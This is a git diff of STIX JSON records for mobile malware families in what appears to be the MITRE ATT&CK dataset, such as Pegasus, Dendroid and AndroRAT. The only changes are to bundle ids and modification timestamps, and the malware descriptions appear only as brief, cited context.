+++ b/mobile-attack/malware/malware--28e39395-91e7-4f02-b694-5e079c964da9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa30df4e-10aa-41aa-8f30-9ed1c09983e0",
+    "id": "bundle--2185de01-224a-447c-b706-880080cb470c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--28e39395-91e7-4f02-b694-5e079c964da9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:46.107Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan-SMS.AndroidOS.FakeInst.a",
             "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.FakeInst.a",
             "labels": [
diff --git a/mobile-attack/malware/malware--317a2c10-d489-431e-b6b2-f0251fddc88e.json b/mobile-attack/malware/malware--317a2c10-d489-431e-b6b2-f0251fddc88e.json
index 989d0d387f..ef22f82461 100644
--- a/mobile-attack/malware/malware--317a2c10-d489-431e-b6b2-f0251fddc88e.json
+++ b/mobile-attack/malware/malware--317a2c10-d489-431e-b6b2-f0251fddc88e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--08652b07-bb3a-4254-b04a-0107c748a792",
+    "id": "bundle--a3b217e6-a7dc-49b8-a7a2-3a77e000fb40",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--317a2c10-d489-431e-b6b2-f0251fddc88e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:37.438Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dendroid",
             "description": "Android malware family analyzed by Lookout (Citation: Lookout-Dendroid).\n\nAliases: Dendroid",
             "labels": [
diff --git a/mobile-attack/malware/malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb.json b/mobile-attack/malware/malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb.json
index 25a1e298d0..04a34c0ad2 100644
--- a/mobile-attack/malware/malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb.json
+++ b/mobile-attack/malware/malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--539dbbb6-ce73-4d20-8a7e-b15ee0fea2a9",
+    "id": "bundle--6da63ca2-52c7-42af-a209-5fc17600563a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:37.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WireLurker",
             "description": "WireLurker is a family of macOS malware that targets iOS devices connected over USB (Citation: PaloAlto-WireLurker).\n\nAliases: WireLurker",
             "labels": [
diff --git a/mobile-attack/malware/malware--33d9d91d-aad9-49d5-a516-220ce101ac8a.json b/mobile-attack/malware/malware--33d9d91d-aad9-49d5-a516-220ce101ac8a.json
index 4218059754..ec3a48baaa 100644
--- a/mobile-attack/malware/malware--33d9d91d-aad9-49d5-a516-220ce101ac8a.json
+++ b/mobile-attack/malware/malware--33d9d91d-aad9-49d5-a516-220ce101ac8a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a13f8b1-0eaa-4a7e-96cd-e971e4766212",
+    "id": "bundle--28947131-1f85-4525-bf79-79a6ed6f234c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:44.238Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pegasus",
             "description": "Discovered by Lookout (Citation: Lookout-Pegasus) and Citizen Lab (Citation: PegasusCitizenLab), Pegasus escalates privileges on iOS devices and uses its privileged access to collect a variety of sensitive information.\n\nAliases: Pegasus",
             "labels": [
diff --git a/mobile-attack/malware/malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b.json b/mobile-attack/malware/malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b.json
index 919e9d0994..306904502f 100644
--- a/mobile-attack/malware/malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b.json
+++ b/mobile-attack/malware/malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df170db6-c9a3-4935-a7c3-3575500439bf",
+    "id": "bundle--311eb18c-7ce5-4746-80ac-9318acfee904",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:38.274Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RCSAndroid",
             "description": " (Citation: RCSAndroid) (Citation: RCSAndroid) is Android malware allegedly distributed by Hacking Team.\n\nAliases:  (Citation: RCSAndroid)",
             "labels": [
diff --git a/mobile-attack/malware/malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50.json b/mobile-attack/malware/malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50.json
index a67728814b..b72fbc2dda 100644
--- a/mobile-attack/malware/malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50.json
+++ b/mobile-attack/malware/malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cc3c43ea-ee6b-45da-bf89-2e7fcb70e9d7",
+    "id": "bundle--39c643a7-894b-494c-b319-92201b0a68ce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:43.815Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "KeyRaider",
             "description": "On jailbroken iOS devices,  (Citation: KeyRaider) steals Apple account credentials and other data. It \"also has built-in functionality to hold iOS devices for ransom.\" (Citation: KeyRaider)\n\nAliases:  (Citation: KeyRaider)",
             "labels": [
diff --git a/mobile-attack/malware/malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0.json b/mobile-attack/malware/malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0.json
index 2db27ab9c1..89d7157982 100644
--- a/mobile-attack/malware/malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0.json
+++ b/mobile-attack/malware/malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dffbb25e-4e39-44ac-a7bd-0bc40c14e48a",
+    "id": "bundle--bf3511a8-3953-44dc-b628-d1d241118287",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:44.853Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ZergHelper",
             "description": "As described by Palo Alto Networks  (Citation: ZergHelper), the  (Citation: ZergHelper) app uses techniques to evade Apple's App Store review process for itself and uses techniques to install additional applications that are not in Apple's App Store.\n\nAliases:  (Citation: ZergHelper)",
             "labels": [
diff --git a/mobile-attack/malware/malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c.json b/mobile-attack/malware/malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c.json
index 7f3a777a25..b20978478b 100644
--- a/mobile-attack/malware/malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c.json
+++ b/mobile-attack/malware/malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--99612ae2-4ae0-48a7-94a1-192b7b5943b1",
+    "id": "bundle--00f01e1a-cd2d-473d-b51f-1399c338cc38",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.313Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Twitoor",
             "description": "Twitoor is a family of Android malware described by ESET (Citation: ESET-Twitoor).\n\nAliases: Twitoor",
             "labels": [
diff --git a/mobile-attack/malware/malware--4bf6ba32-4165-42c1-b911-9c36165891c8.json b/mobile-attack/malware/malware--4bf6ba32-4165-42c1-b911-9c36165891c8.json
index 7c7b159962..8a94c87748 100644
--- a/mobile-attack/malware/malware--4bf6ba32-4165-42c1-b911-9c36165891c8.json
+++ b/mobile-attack/malware/malware--4bf6ba32-4165-42c1-b911-9c36165891c8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--128bf8f6-f351-4b89-8cb8-cd1e15133dbc",
+    "id": "bundle--0c7c2510-59a4-479f-a399-4a1b3c029c3e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--4bf6ba32-4165-42c1-b911-9c36165891c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.965Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ANDROIDOS_ANSERVER.A",
             "description": "ANDROIDOS_ANSERVER.A is Android malware novel for using encrypted content within a blog site for command and control (Citation: TrendMicro-Anserver).\n\nAliases: ANDROIDOS_ANSERVER.A",
             "labels": [
diff --git a/mobile-attack/malware/malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878.json b/mobile-attack/malware/malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878.json
index f53021db5c..fda7ab3843 100644
--- a/mobile-attack/malware/malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878.json
+++ b/mobile-attack/malware/malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fd103e05-6a09-4c20-8573-689d0fc36126",
+    "id": "bundle--ea7db4b1-f22b-45ec-8333-2f0283a7eedb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:41.721Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DualToy",
             "description": "DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB (Citation: PaloAlto-DualToy).\n\nAliases: DualToy",
             "labels": [
diff --git a/mobile-attack/malware/malware--56660521-6db4-4e5a-a927-464f22954b7c.json b/mobile-attack/malware/malware--56660521-6db4-4e5a-a927-464f22954b7c.json
index feb8cde3c4..65948a31e5 100644
--- a/mobile-attack/malware/malware--56660521-6db4-4e5a-a927-464f22954b7c.json
+++ b/mobile-attack/malware/malware--56660521-6db4-4e5a-a927-464f22954b7c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb289625-ac22-4be1-88e8-915218057af7",
+    "id": "bundle--9af72c87-f203-4ce3-a669-845691abbf14",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "X-Agent",
             "description": "The X-Agent Android malware was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data for where it was used and hence the potential location of Ukrainian artillery (Citation: CrowdStrike-Android).\n\nAliases: X-Agent",
             "labels": [
diff --git a/mobile-attack/malware/malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9.json b/mobile-attack/malware/malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9.json
index b2f2d9b12a..44249568da 100644
--- a/mobile-attack/malware/malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9.json
+++ b/mobile-attack/malware/malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--be0b743c-c062-48bf-a586-ab9baeafe93c",
+    "id": "bundle--48ea2561-100d-4404-946f-fd3d574fd4e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:40.875Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MazarBOT",
             "description": "Android malware analyzed by Scandinavian security group CSIS as described in a Tripwire post (Citation: Tripwire-MazarBOT).\n\nAliases: MazarBOT",
             "labels": [
diff --git a/mobile-attack/malware/malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f.json b/mobile-attack/malware/malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f.json
index 43bd960d8e..707d140f77 100644
--- a/mobile-attack/malware/malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f.json
+++ b/mobile-attack/malware/malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fe50345e-98ea-40bd-931b-cdd0dad9b1fa",
+    "id": "bundle--8615af74-1778-4117-80be-63e83c392b2a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:40.259Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HummingWhale",
             "description": "The HummingWhale Android malware family \"includes new virtual machine techniques that allow the malware to perform ad fraud better than ever\". (Citation: ArsTechnica-HummingWhale)\n\nAliases: HummingWhale",
             "labels": [
diff --git a/mobile-attack/malware/malware--936be60d-90eb-4c36-9247-4b31128432c4.json b/mobile-attack/malware/malware--936be60d-90eb-4c36-9247-4b31128432c4.json
index cfa5189d8b..87e864ff82 100644
--- a/mobile-attack/malware/malware--936be60d-90eb-4c36-9247-4b31128432c4.json
+++ b/mobile-attack/malware/malware--936be60d-90eb-4c36-9247-4b31128432c4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d04a1b9e-50c0-47c1-a0e5-c62fe938fad9",
+    "id": "bundle--01e98101-ec5c-404a-86cf-86123ed26141",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:48.917Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RuMMS",
             "description": "RuMMS is a family of Android malware (Citation: FireEye-RuMMS).\n\nAliases: RuMMS",
             "labels": [
diff --git a/mobile-attack/malware/malware--93799a9d-3537-43d8-b6f4-17215de1657c.json b/mobile-attack/malware/malware--93799a9d-3537-43d8-b6f4-17215de1657c.json
index 00b59378d3..882530fe7b 100644
--- a/mobile-attack/malware/malware--93799a9d-3537-43d8-b6f4-17215de1657c.json
+++ b/mobile-attack/malware/malware--93799a9d-3537-43d8-b6f4-17215de1657c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ca33aaf-6c05-4be6-81a5-0cf36e4d4447",
+    "id": "bundle--1d7bad97-a820-4863-a032-201b981b6133",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:41.202Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pegasus for Android",
             "description": "Discovered and analyzed by Lookout (Citation: Lookout-PegasusAndroid) and Google (Citation: Google-Chrysaor), Pegasus for Android (also known as Chrysaor) is spyware that was used in targeted attacks. Pegasus for Android does not use zero day vulnerabilities. It attempts to escalate privileges using well-known vulnerabilities, and even if the attempts fail, it still performs some subset of spyware functions that do not require escalated privileges.\n\nAliases: Pegasus for Android, Chrysaor",
             "labels": [
diff --git a/mobile-attack/malware/malware--a15c9357-2be0-4836-beec-594f28b9b4a9.json b/mobile-attack/malware/malware--a15c9357-2be0-4836-beec-594f28b9b4a9.json
index 5a88821590..02001dc612 100644
--- a/mobile-attack/malware/malware--a15c9357-2be0-4836-beec-594f28b9b4a9.json
+++ b/mobile-attack/malware/malware--a15c9357-2be0-4836-beec-594f28b9b4a9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2cfa1019-fe38-4453-a466-7d2c2af39c6e",
+    "id": "bundle--ceaa7193-7c5b-434a-93c5-7a4a0eae16f1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--a15c9357-2be0-4836-beec-594f28b9b4a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:48.301Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "YiSpecter",
             "description": "iOS malware that \"is different from previous seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices\" and \"abuses private APIs in the iOS system to implement malicious functionalities\" (Citation: PaloAlto-YiSpecter).\n\nAliases: YiSpecter",
             "labels": [
diff --git a/mobile-attack/malware/malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17.json b/mobile-attack/malware/malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17.json
index e18aff995b..74232280b7 100644
--- a/mobile-attack/malware/malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17.json
+++ b/mobile-attack/malware/malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0490a53c-af01-43e8-a31b-5cdfd577f879",
+    "id": "bundle--dcabfaa2-1217-4fd3-a5c9-75a1ebc917f9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:46.411Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan-SMS.AndroidOS.Agent.ao",
             "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.Agent.ao",
             "labels": [
diff --git a/mobile-attack/malware/malware--a3dad2be-ce62-4440-953b-00fbce7aba93.json b/mobile-attack/malware/malware--a3dad2be-ce62-4440-953b-00fbce7aba93.json
index 86db7510fa..79e0151876 100644
--- a/mobile-attack/malware/malware--a3dad2be-ce62-4440-953b-00fbce7aba93.json
+++ b/mobile-attack/malware/malware--a3dad2be-ce62-4440-953b-00fbce7aba93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5d69afc2-97ff-4211-a872-21954e84f2cd",
+    "id": "bundle--0565afcf-cda7-4887-b099-4f908c4989e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.363Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AndroRAT",
             "description": "AndroRAT \"allows a third party to control the device and collect information such as contacts, call logs, text messages, device location, and audio from the microphone. It is now used maliciously by other actors.\" (Citation: Lookout-EnterpriseApps)\n\nAliases: AndroRAT",
             "labels": [
diff --git a/mobile-attack/malware/malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7.json b/mobile-attack/malware/malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7.json
index b4159eca32..fc870e23ea 100644
--- a/mobile-attack/malware/malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7.json
+++ b/mobile-attack/malware/malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--585011b8-5354-4159-91cf-1397d4f5f61f",
+    "id": "bundle--c779b8f6-c8ba-401a-8d5b-5ea619d11ea3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:39.945Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AndroidOverlayMalware",
             "description": "Android malware analyzed by FireEye  (Citation: FireEye-AndroidOverlay).\nAccording to their analysis, \"three campaigns in Europe used view overlay techniques...to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials.\"\n\nAliases: AndroidOverlayMalware",
             "labels": [
diff --git a/mobile-attack/malware/malware--c709da93-20c3-4d17-ab68-48cba76b2137.json b/mobile-attack/malware/malware--c709da93-20c3-4d17-ab68-48cba76b2137.json
index dc00cbf7c3..2168438b8f 100644
--- a/mobile-attack/malware/malware--c709da93-20c3-4d17-ab68-48cba76b2137.json
+++ b/mobile-attack/malware/malware--c709da93-20c3-4d17-ab68-48cba76b2137.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a47732b3-8e63-436a-af1c-14a5c41309a3",
+    "id": "bundle--73a3ea1e-ac09-4949-9314-c8f7340b3c2f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:43.527Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PJApps",
             "description": "According to Lookout (Citation: Lookout-EnterpriseApps), the PJApps Android malware family \"may collect and leak the victim\u2019s phone number, mobile device unique identifier (IMEI), and location. In order to make money, it may send messages to premium SMS numbers. PJApps also has the ability to download further applications to the device.\"\n\nAliases: PJApps",
             "labels": [
diff --git a/mobile-attack/malware/malware--c80a6bef-b3ce-44d0-b113-946e93124898.json b/mobile-attack/malware/malware--c80a6bef-b3ce-44d0-b113-946e93124898.json
index 190699a076..d7207815f6 100644
--- a/mobile-attack/malware/malware--c80a6bef-b3ce-44d0-b113-946e93124898.json
+++ b/mobile-attack/malware/malware--c80a6bef-b3ce-44d0-b113-946e93124898.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d19cca5f-84cb-4372-beab-1d973e757cd2",
+    "id": "bundle--e7c9f0aa-473f-4a63-8a14-2bcd73779e9f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:38.690Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shedun",
             "description": "Lookout states that some variants of the Shedun, Shuanet, and ShiftyBug/Kemoge Android malware families \"have 71 percent to 82 percent code similarity\" (Citation: Lookout-Adware), even though they \"don\u2019t believe these apps were all created by the same author or group\".\n\nAliases: Shedun, Shuanet, ShiftyBug, Kemoge",
             "labels": [
diff --git a/mobile-attack/malware/malware--c8770c81-c29f-40d2-a140-38544206b2b4.json b/mobile-attack/malware/malware--c8770c81-c29f-40d2-a140-38544206b2b4.json
index 9669289ff1..defd969386 100644
--- a/mobile-attack/malware/malware--c8770c81-c29f-40d2-a140-38544206b2b4.json
+++ b/mobile-attack/malware/malware--c8770c81-c29f-40d2-a140-38544206b2b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9349f5d8-5ad0-4ac6-8c6d-dd3347959d99",
+    "id": "bundle--2fdefc15-87fd-4429-b7fb-635c206b77e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.948Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HummingBad",
             "description": "HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android (Citation: ArsTechnica-HummingBad).\n\nAliases: HummingBad",
             "labels": [
diff --git a/mobile-attack/malware/malware--ca4f63b9-a358-4214-bb26-8c912318cfde.json b/mobile-attack/malware/malware--ca4f63b9-a358-4214-bb26-8c912318cfde.json
index c14ae1a17d..a9f203b795 100644
--- a/mobile-attack/malware/malware--ca4f63b9-a358-4214-bb26-8c912318cfde.json
+++ b/mobile-attack/malware/malware--ca4f63b9-a358-4214-bb26-8c912318cfde.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4e45933c-0df3-4480-baf0-a6bc42e4de2b",
+    "id": "bundle--2c771bb0-6d7c-48ed-a042-869bf495cf0e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--ca4f63b9-a358-4214-bb26-8c912318cfde",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:44.540Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OBAD",
             "description": "OBAD is a family of Android malware (Citation: TrendMicro-Obad).\n\nAliases: OBAD",
             "labels": [
diff --git a/mobile-attack/malware/malware--d05f7357-4cbe-47ea-bf83-b8604226d533.json b/mobile-attack/malware/malware--d05f7357-4cbe-47ea-bf83-b8604226d533.json
index 1062f4579d..ba379a54c2 100644
--- a/mobile-attack/malware/malware--d05f7357-4cbe-47ea-bf83-b8604226d533.json
+++ b/mobile-attack/malware/malware--d05f7357-4cbe-47ea-bf83-b8604226d533.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--74e1530f-1d33-4b28-9376-cbb2a5befa81",
+    "id": "bundle--b32d36ea-2b8d-405e-9851-d902300d76f6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:45.482Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Android/Chuli.A",
             "description": "As reported by Kaspersky (Citation: Kaspersky-WUC), a spear phishing message was sent to activist groups containing a malicious Android application as an attachment.\n\nAliases: Android/Chuli.A",
             "labels": [
diff --git a/mobile-attack/malware/malware--d1c600f8-0fb6-4367-921b-85b71947d950.json b/mobile-attack/malware/malware--d1c600f8-0fb6-4367-921b-85b71947d950.json
index bdc68abf69..a1cc8b5c61 100644
--- a/mobile-attack/malware/malware--d1c600f8-0fb6-4367-921b-85b71947d950.json
+++ b/mobile-attack/malware/malware--d1c600f8-0fb6-4367-921b-85b71947d950.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4b525f2a-1277-43b6-95ed-c7b49245bac1",
+    "id": "bundle--0b95ae98-790d-4a17-aabb-4e0ca2a3b5e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
